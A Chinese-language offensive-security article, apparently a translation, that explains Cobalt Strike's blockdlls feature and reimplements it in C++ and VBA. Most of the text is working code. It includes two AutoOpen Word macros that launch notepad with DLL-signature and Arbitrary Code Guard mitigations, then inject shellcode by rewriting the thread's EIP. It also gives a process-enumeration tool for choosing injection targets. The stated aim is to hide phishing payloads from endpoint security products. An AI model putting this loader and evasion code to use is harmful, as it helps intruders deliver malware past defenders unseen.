如何通过blockdlls及ACG保护恶意软件

 

0x00 前言

最新版的Cobalt Strike中添加了blockdlls命令,该命令可以避免生成的进程加载非微软签名的DLL,从而达到保护效果。这种方法可以阻止端点安全产品通过DLL加载用户模式代码,避免安全产品hook可疑函数并报告可疑操作。

经过一番讨论并在推特上探讨该命令的实现原理后,有小伙伴提出问题,想了解是否能不依赖Cobalt Strike来使用这种技术,因此在本文中我将进一步探索该功能,向大家介绍blockdlls的内部工作原理、如何使用该方法在beacon启动前保护恶意软件,也探索了是否有其他进程安全选项,可以帮助我们防御端点安全产品的监听机制。

 

0x01 blockdlls原理

Cobalt Strike从3.14版本开始引入blockdlls,该功能可以避免加载非微软签名的DLL,用来保护由beacon生成的任何子进程。为了利用该功能,我们可以在某个活动session上使用blockdlls命令生成子进程(比如我们可以使用spawn命令):

一旦子进程成功生成,我们可以通过ProcessHacker之类的工具查看子进程的保护状态:

设置该标志后,如果某个未经微软签名的DLL想载入当前进程,就会出现错误,我们可以看到比较详细的出错信息,如下所示:

那么Cobalt Strike如何实现该功能呢?如果我们分析CS beacon程序,可以找到其中引用了UpdateProcThreadAttribute

值为0x20007Attribute参数实际上对应的是PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,而0x100000000000参数值对应的是PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON。因此这里Cobalt Strike的处理逻辑就是配合STARTUPINFOEX结构体来使用CreateProcess API,该结构体中包含防御策略,可以用来阻止未经微软签名的DLL。

如果我们想在自己的工具中重新实现该代码,我们可以如下代码来完成:

#include <Windows.h>

int main()
{
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
    SIZE_T size = 0;
    BOOL ret;

    // Required for a STARTUPINFOEXA
    ZeroMemory(&si, sizeof(si));
    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;

    // Get the size of our PROC_THREAD_ATTRIBUTE_LIST to be allocated
    InitializeProcThreadAttributeList(NULL, 1, 0, &size);

    // Allocate memory for PROC_THREAD_ATTRIBUTE_LIST
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
        GetProcessHeap(),
        0,
        size
    );

    // Initialise our list 
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);

    // Enable blocking of non-Microsoft signed DLLs
    DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;

    // Assign our attribute
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL);

    // Finally, create the process
    ret = CreateProcessA(
        NULL,
        (LPSTR)"C:\\Windows\\System32\\cmd.exe",
        NULL,
        NULL,
        true,
        EXTENDED_STARTUPINFO_PRESENT,
        NULL,
        NULL,
        reinterpret_cast<LPSTARTUPINFOA>(&si),
        &pi
    );
}

 

0x02 缩小危险区域

现在我们已经知道Cobalt Strike对该功能的内部实现原理,但在实际渗透过程中,可能任意一个DLL就可以给我们造成阻碍。这里我们来看一下典型的钓鱼场景,在该场景中,我们尝试通过启用宏的文档来投递Cobalt Strike beacon:

红色区域为未受blockdlls保护的进程,而在蓝色区域为经过Cobalt Strike保护所生成的子进程。这里我们显然会面临一些风险,比如安全产品可以将DLL载入红色区域进程中,从而监控我们的行为。

然而,如果我们使用PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON选项,就可以缩小这里的防护空白区域。在这个场景中,我们是在Word文档上下文中处理最初的payload,因此我们可以考虑将相应代码移植到VBA中:

' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled
' by @_xpn_
'
' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro

Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const MAX_PATH = 260
Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007
Const MAXIMUM_SUPPORTED_EXTENSION = 512
Const SIZE_OF_80387_REGISTERS = 80
Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const PAGE_READWRITE = &H4
Const PAGE_EXECUTE_READWRITE = &H40
Const CONTEXT_FULL = &H10007

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUP_INFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Byte
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type STARTUPINFOEX
    STARTUPINFO As STARTUP_INFO
    lpAttributelist As LongPtr
End Type

Private Type DWORD64
    dwPart1 As Long
    dwPart2 As Long
End Type

Private Type FLOATING_SAVE_AREA
    ControlWord As Long
    StatusWord As Long
    TagWord As Long
    ErrorOffset As Long
    ErrorSelector As Long
    DataOffset As Long
    DataSelector As Long
    RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte
    Spare0 As Long
End Type

Private Type CONTEXT
    ContextFlags As Long
    Dr0 As Long
    Dr1 As Long
    Dr2 As Long
    Dr3 As Long
    Dr6 As Long
    Dr7 As Long
    FloatSave As FLOATING_SAVE_AREA
    SegGs As Long
    SegFs As Long
    SegEs As Long
    SegDs As Long
    Edi As Long
    Esi As Long
    Ebx As Long
    Edx As Long
    Ecx As Long
    Eax As Long
    Ebp As Long
    Eip As Long
    SegCs As Long
    EFlags As Long
    Esp As Long
    SegSs As Long
    ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte
End Type

Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
    ByVal lpApplicationName As String, _
    ByVal lpCommandLine As String, _
    lpProcessAttributes As Long, _
    lpThreadAttributes As Long, _
    ByVal bInheritHandles As Long, _
    ByVal dwCreationFlags As Long, _
    lpEnvironment As Any, _
    ByVal lpCurrentDriectory As String, _
    ByVal lpStartupInfo As LongPtr, _
    lpProcessInformation As PROCESS_INFORMATION _
) As Long

Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
    ByVal lpAttributelist As LongPtr, _
    ByVal dwAttributeCount As Integer, _
    ByVal dwFlags As Integer, _
    ByRef lpSize As Integer _
) As Boolean

Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
    ByVal lpAttributelist As LongPtr, _
    ByVal dwFlags As Integer, _
    ByVal lpAttribute As Long, _
    ByVal lpValue As LongPtr, _
    ByVal cbSize As Integer, _
    ByRef lpPreviousValue As Integer, _
    ByRef lpReturnSize As Integer _
) As Boolean

Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _
    ByVal hProcess As LongPtr, _
    ByVal lpBaseAddress As Long, _
    ByRef lpBuffer As Any, _
    ByVal nSize As Long, _
    ByVal lpNumberOfBytesWritten As Long _
) As Boolean

Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long

Private Declare PtrSafe Function GetThreadContext Lib "kernel32.dll" ( _
    ByVal hThread As Long, _
    lpContext As CONTEXT _
) As Long

Private Declare Function SetThreadContext Lib "kernel32.dll" ( _
    ByVal hThread As Long, _
    lpContext As CONTEXT _
) As Long

Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
    ByVal hHeap As LongPtr, _
    ByVal dwFlags As Long, _
    ByVal dwBytes As Long _
) As LongPtr

Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr

Private Declare Function VirtualAllocEx Lib "kernel32" ( _
    ByVal hProcess As Long, _
    ByVal lpAddress As Long, _
    ByVal dwSize As Long, _
    ByVal flAllocationType As Long, _
    ByVal flProtect As Long _
) As Long

Sub AutoOpen()

    Dim pi As PROCESS_INFORMATION
    Dim si As STARTUPINFOEX
    Dim nullStr As String
    Dim pid, result As Integer
    Dim threadAttribSize As Integer
    Dim processPath As String
    Dim val As DWORD64
    Dim ctx As CONTEXT
    Dim alloc As Long
    Dim shellcode As Variant
    Dim myByte As Long

    ' Shellcode goes here (jmp $)
    shellcode = Array(&HEB, &HFE)

    ' Path of process to spawn
    processPath = "C:\\windows\\system32\\notepad.exe"

    ' Specifies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
    val.dwPart1 = 0
    val.dwPart2 = &H1000

    ' Initialize process attribute list
    result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
    si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
    result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)

    ' Set our mitigation policy
    result = UpdateProcThreadAttribute( _
        si.lpAttributelist, _
        0, _
        PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, _
        VarPtr(val), _
        Len(val), _
        ByVal 0&, _
        ByVal 0& _
        )

    si.STARTUPINFO.cb = LenB(si)
    si.STARTUPINFO.dwFlags = 1

    ' Spawn our process which will only allow MS signed DLL's
    result = CreateProcess( _
        nullStr, _
        processPath, _
        ByVal 0&, _
        ByVal 0&, _
        1&, _
        &H80014, _
        ByVal 0&, _
        nullStr, _
        VarPtr(si), _
        pi _
    )

    ' Alloc memory (RWX for this POC, because... yolo) in process to write our shellcode to
    alloc = VirtualAllocEx( _
        pi.hProcess, _
        0, _
        11000, _
        MEM_COMMIT + MEM_RESERVE, _
        PAGE_EXECUTE_READWRITE _
    )

    ' Write our shellcode
    For offset = LBound(shellcode) To UBound(shellcode)
        myByte = shellcode(offset)
        result = WriteProcessMemory(pi.hProcess, alloc + offset, myByte, 1, ByVal 0&)
    Next offset

    ' Point EIP register to allocated memory
    ctx.ContextFlags = CONTEXT_FULL
    result = GetThreadContext(pi.hThread, ctx)
    ctx.Eip = alloc
    result = SetThreadContext(pi.hThread, ctx)

    ' Resume execution
    ResumeThread (pi.hThread)

End Sub

正确使用后,我们可以缩小未经保护的区域,将访问范围限制到最初的执行向量中,从而减少被检测到的风险:

但现在Word进程还在红色区域中,如何处理?其实我们有各种方法,比如,我们可以使用ProcessSignaturePolicy参数来调用SetMitigationPolicy,这样就能在运行时引入防护策略,也就是说不需要通过CreateProcess来重新执行。然而在这个时间节点,很可能有些DLL在我们的VBA运行之前已经加载到Word的地址空间中,如果我们想进一步控制该进程,触发某些可疑的API调用,就可能增加被检测到的风险。

 

0x03 Arbitrary Code Guard

大家可能会好奇标题中的ACG(Arbitrary Code Guard)是什么意思,这里稍微介绍下,ACG是另一种缓解机制,可以阻止代码修改以及/或者分配内存中的可执行页面。

为了实际演示这种缓解策略效果,我们可以创建一个小程序,尝试使用SetMitigationPolicy来添加ACG,测试几个用例:

#include <iostream>
#include <Windows.h>
#include <processthreadsapi.h>

int main()
{
    STARTUPINFOEX si;
    DWORD oldProtection;

    PROCESS_MITIGATION_DYNAMIC_CODE_POLICY policy;
    ZeroMemory(&policy, sizeof(policy));
    policy.ProhibitDynamicCode = 1;

    void* mem = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (mem == NULL) {
        printf("[!] Error allocating RWX memory\n");
    }
    else {
        printf("[*] RWX memory allocated: %p\n", mem);
    }

    printf("[*] Now running SetProcessMitigationPolicy to apply PROCESS_MITIGATION_DYNAMIC_CODE_POLICY\n");

    // Set our mitigation policy
    if (SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &policy, sizeof(policy)) == false) {
        printf("[!] SetProcessMitigationPolicy failed\n");
        return 0;
    }

    // Attempt to allocate RWX protected memory (this will fail)
    mem = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (mem == NULL) {
        printf("[!] Error allocating RWX memory\n");
    }
    else {
        printf("[*] RWX memory allocated: %p\n", mem);
    }

    void* ntAllocateVirtualMemory = GetProcAddress(LoadLibraryA("ntdll.dll"), "NtAllocateVirtualMemory");

    // Let's also try a VirtualProtect to see if we can update an existing page to RWX
    if (!VirtualProtect(ntAllocateVirtualMemory, 4096, PAGE_EXECUTE_READWRITE, &oldProtection)) {
        printf("[!] Error updating NtAllocateVirtualMemory [%p] memory to RWXn", ntAllocateVirtualMemory);
    }
    else {
        printf("[*] NtAllocateVirtualMemory [%p] memory updated to RWX\n", ntAllocateVirtualMemory);
    }
}

如果编译并执行该POC,我们可以看到如下输出结果:

这里可以看到,当使用SetProcessMitigationPolicy后,如果尝试在内存中分配一个RWX页面就会出现错误,此外如果想调用VirtualProtect来修改内存保护时也会出错,这一点与我们的预期相符。

那么我们为啥需要ACG?这是因为有些情况下,EDR注入的DLL的确经过微软签名,比如@Sektor7Net就提到过Crowdstrike Falcon包含这样一个DLL,该DLL并不会受PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON所影响:

许多EDR产品经常会在用户空间hook一些有趣的函数(大家可以参考我之前关于Cylance的一篇分析文章)。由于hook操作通常需要修改已有的可执行页面,因此需要使用VirtualProtect之类的调用来更新内存保护。如果我们能够阻止这些产品创建RWX内存页面,我们有可能迫使经过微软签名的DLL无法成功加载。

为了能在我们的VBA代码中实现这种技术,我们只需要添加PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON选项,即可启动这种保护:

' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON and PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled
' by @_xpn_
'
' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro

Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const MAX_PATH = 260
Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007
Const MAXIMUM_SUPPORTED_EXTENSION = 512
Const SIZE_OF_80387_REGISTERS = 80
Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const PAGE_READWRITE = &H4
Const PAGE_EXECUTE_READWRITE = &H40
Const CONTEXT_FULL = &H10007

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUP_INFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Byte
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type STARTUPINFOEX
    STARTUPINFO As STARTUP_INFO
    lpAttributelist As LongPtr
End Type

Private Type DWORD64
    dwPart1 As Long
    dwPart2 As Long
End Type

Private Type FLOATING_SAVE_AREA
    ControlWord As Long
    StatusWord As Long
    TagWord As Long
    ErrorOffset As Long
    ErrorSelector As Long
    DataOffset As Long
    DataSelector As Long
    RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte
    Spare0 As Long
End Type

Private Type CONTEXT
    ContextFlags As Long
    Dr0 As Long
    Dr1 As Long
    Dr2 As Long
    Dr3 As Long
    Dr6 As Long
    Dr7 As Long
    FloatSave As FLOATING_SAVE_AREA
    SegGs As Long
    SegFs As Long
    SegEs As Long
    SegDs As Long
    Edi As Long
    Esi As Long
    Ebx As Long
    Edx As Long
    Ecx As Long
    Eax As Long
    Ebp As Long
    Eip As Long
    SegCs As Long
    EFlags As Long
    Esp As Long
    SegSs As Long
    ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte
End Type

Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
    ByVal lpApplicationName As String, _
    ByVal lpCommandLine As String, _
    lpProcessAttributes As Long, _
    lpThreadAttributes As Long, _
    ByVal bInheritHandles As Long, _
    ByVal dwCreationFlags As Long, _
    lpEnvironment As Any, _
    ByVal lpCurrentDriectory As String, _
    ByVal lpStartupInfo As LongPtr, _
    lpProcessInformation As PROCESS_INFORMATION _
) As Long

Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
    ByVal lpAttributelist As LongPtr, _
    ByVal dwAttributeCount As Integer, _
    ByVal dwFlags As Integer, _
    ByRef lpSize As Integer _
) As Boolean

Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
    ByVal lpAttributelist As LongPtr, _
    ByVal dwFlags As Integer, _
    ByVal lpAttribute As Long, _
    ByVal lpValue As LongPtr, _
    ByVal cbSize As Integer, _
    ByRef lpPreviousValue As Integer, _
    ByRef lpReturnSize As Integer _
) As Boolean

Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _
    ByVal hProcess As LongPtr, _
    ByVal lpBaseAddress As Long, _
    ByRef lpBuffer As Any, _
    ByVal nSize As Long, _
    ByVal lpNumberOfBytesWritten As Long _
) As Boolean

Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long

Private Declare PtrSafe Function GetThreadContext Lib "kernel32.dll" ( _
    ByVal hThread As Long, _
    lpContext As CONTEXT _
) As Long

Private Declare Function SetThreadContext Lib "kernel32.dll" ( _
    ByVal hThread As Long, _
    lpContext As CONTEXT _
) As Long

Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
    ByVal hHeap As LongPtr, _
    ByVal dwFlags As Long, _
    ByVal dwBytes As Long _
) As LongPtr

Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr

Private Declare Function VirtualAllocEx Lib "kernel32" ( _
    ByVal hProcess As Long, _
    ByVal lpAddress As Long, _
    ByVal dwSize As Long, _
    ByVal flAllocationType As Long, _
    ByVal flProtect As Long _
) As Long

Sub AutoOpen()

    Dim pi As PROCESS_INFORMATION
    Dim si As STARTUPINFOEX
    Dim nullStr As String
    Dim pid, result As Integer
    Dim threadAttribSize As Integer
    Dim processPath As String
    Dim val As DWORD64
    Dim ctx As CONTEXT
    Dim alloc As Long
    Dim shellcode As Variant
    Dim myByte As Long

    ' Shellcode goes here (jmp $)
    shellcode = Array(&HEB, &HFE)

    ' Path of process to spawn
    processPath = "C:\\windows\\system32\\notepad.exe"

    ' Initialize process attribute list
    result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
    si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
    result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)

    ' Specifies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
    ' and PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON
    val.dwPart1 = 0
    val.dwPart2 = &H1010

    ' Set our mitigation policy
    result = UpdateProcThreadAttribute( _
        si.lpAttributelist, _
        0, _
        PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, _
        VarPtr(val), _
        Len(val), _
        ByVal 0&, _
        ByVal 0& _
        )

    si.STARTUPINFO.cb = LenB(si)
    si.STARTUPINFO.dwFlags = 1

    ' Spawn our process which will only allow MS signed DLL's and disallow dynamic code
    result = CreateProcess( _
        nullStr, _
        processPath, _
        ByVal 0&, _
        ByVal 0&, _
        1&, _
        &H80014, _
        ByVal 0&, _
        nullStr, _
        VarPtr(si), _
        pi _
    )

    ' Alloc memory (RWX for this POC, as this isn't blocked from alloc outside the process (and ... yolo)) in process to write our shellcode to
    alloc = VirtualAllocEx( _
        pi.hProcess, _
        0, _
        11000, _
        MEM_COMMIT + MEM_RESERVE, _
        PAGE_EXECUTE_READWRITE _
    )

    ' Write our shellcode
    For Offset = LBound(shellcode) To UBound(shellcode)
        myByte = shellcode(Offset)
        result = WriteProcessMemory(pi.hProcess, alloc + Offset, myByte, 1, ByVal 0&)
    Next Offset

    ' Point EIP register to allocated memory
    ctx.ContextFlags = CONTEXT_FULL
    result = GetThreadContext(pi.hThread, ctx)
    ctx.Eip = alloc
    result = SetThreadContext(pi.hThread, ctx)

    ' Resume execution
    ResumeThread (pi.hThread)

End Sub

这种方法对保护我们生成的进程非常有用,但如果我们希望将我们自己的代码注入受ACG保护的某个进程该如何处理?我经常听到一种误解,就是我们无法将代码注入被ACG保护的进程,因为我们需要可写且可执行的某种内存才能完成该操作。然而实际上ACG并不会阻止远程进程调用,比如VirtualAllocEx之类的函数。

比如,如果我们使用一些简单的shellcode来启动cmd.exe,然后将shellcode代码注入受ACG保护的某个进程,我们可以看到这些操作能顺利执行:

需要注意的是,由于需要依赖分配内存页面并将页面修改为RWX状态,因此目前这种方法无法适用于Cobalt Strike beacon。我尝试过通过其他选项来绕过这个限制(主要是各种userwx选项),但目前修改内存似乎还需要满足可写且后续可执行状态。

 

0x04 注意事项

在将这些技术应用到实际环境中前,我们还需要考虑这种方式可能会对我们的操作安全性造成哪些影响。比如,如果我们开始生成任意进程,然后全部使用PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON来保护这些进程,那么防御方可能会注意到突然出现的随机进程竟然已经部署了一些防护策略。

为了澄清如何更好地应用这种技术,我们需要枚举已有的哪些进程带有策略。现在我们可以使用Get-ProcessMitigation Powershell cmdlet来返回注册表中定义的所有策略,然而我们知道有其他方法能够在运行时对进程启动保护机制,比如SetMitigationPolicy API,我们也可以通过CreateProcessA来简单生成任意进程(如前文所述)。

为了确保我们能够正确处理每个进程,我们可以构造一个简单的工具,使用GetProcessMitigationPolicy来识别已部署的策略:

#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>
#include <processthreadsapi.h>

bool SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege);

void GetProtection(int pid, const char *exe) {

    PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dynamicCodePolicy;
    PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY signaturePolicy;

    HANDLE pHandle = OpenProcess(PROCESS_QUERY_INFORMATION, false, pid);
    if (pHandle == INVALID_HANDLE_VALUE) {
        printf("[!] Error opening handle to %d\n", pid);
        return;
    }

    // Actually retrieve the mitigation policy for ACG
    if (!GetProcessMitigationPolicy(pHandle, ProcessDynamicCodePolicy, &dynamicCodePolicy, sizeof(dynamicCodePolicy))) {
        printf("[!] Could not enum PID %d [%d]\n", pid, GetLastError());
        return;
    }

    if (dynamicCodePolicy.ProhibitDynamicCode) {
        printf("[%s] - ProhibitDynamicCode\n", exe);
    }

    if (dynamicCodePolicy.AllowRemoteDowngrade) {
        printf("[%s] - AllowRemoteDowngrade\n", exe);
    }

    if (dynamicCodePolicy.AllowThreadOptOut) {
        printf("[%s] - AllowThreadOptOut\n", exe);
    }

    // Retrieve mitigation policy for loading arbitrary DLLs
    if (!GetProcessMitigationPolicy(pHandle, ProcessSignaturePolicy, &signaturePolicy, sizeof(signaturePolicy))) {
        printf("Could not enum PID %d\n", pid);
        return;
    }

    if (signaturePolicy.AuditMicrosoftSignedOnly) {
        printf("[%s] AuditMicrosoftSignedOnly\n", exe);
    }

    if (signaturePolicy.AuditStoreSignedOnly) {
        printf("[%s] - AuditStoreSignedOnly\n", exe);
    }

    if (signaturePolicy.MicrosoftSignedOnly) {
        printf("[%s] - MicrosoftSignedOnly\n", exe);
    }

    if (signaturePolicy.MitigationOptIn) {
        printf("[%s] - MitigationOptIn\n", exe);
    }

    if (signaturePolicy.StoreSignedOnly) {
        printf("[%s] - StoreSignedOnly\n", exe);
    }
}

int main()
{
    HANDLE snapshot;
    PROCESSENTRY32 ppe;

    HANDLE accessToken;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &accessToken)) {
        printf("[!] Error opening process token\n");
        return 1;
    }

    // Provide ourself with SeDebugPrivilege to increase our enumeration chances
    SetPrivilege(accessToken, SE_DEBUG_NAME);

    // Prepare handle to enumerate running processes
    snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        printf("[!] Error: CreateToolhelp32Snapshot\n");
        return 2;
    }

    ppe.dwSize = sizeof(PROCESSENTRY32);

    Process32First(snapshot, &ppe);

    do {
        // Enumerate process mitigations
        GetProtection(ppe.th32ProcessID, ppe.szExeFile);
    } while (Process32Next(snapshot, &ppe));
}

bool SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege) {

    TOKEN_PRIVILEGES tp;
    LUID luid;

    if (!LookupPrivilegeValue(
        NULL,
        lpszPrivilege,
        &luid))
    {
        printf("[!] LookupPrivilegeValue error: %u\n", GetLastError());
        return FALSE;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(
        hToken,
        FALSE,
        &tp,
        sizeof(TOKEN_PRIVILEGES),
        (PTOKEN_PRIVILEGES)NULL,
        (PDWORD)NULL))
    {
        printf("[!] AdjustTokenPrivileges error: %u\n", GetLastError());
        return FALSE;
    }

    return TRUE;
}

在我的Windows 10测试环境中运行该程序后,我找到了已部署防护措施的几个进程,如下所示:

这些进程大多属于Edge有关,这非常正常,但我们也有其他一些可选项,比如fontdrvhost.exedllhost.exe,这些进程可以作为目标。

希望本文能给大家提供一些思路,拓展生成并注入payload的方法,如果在实际环境中仔细使用,我相信这种技术能给防御方造成不少困扰。

(完)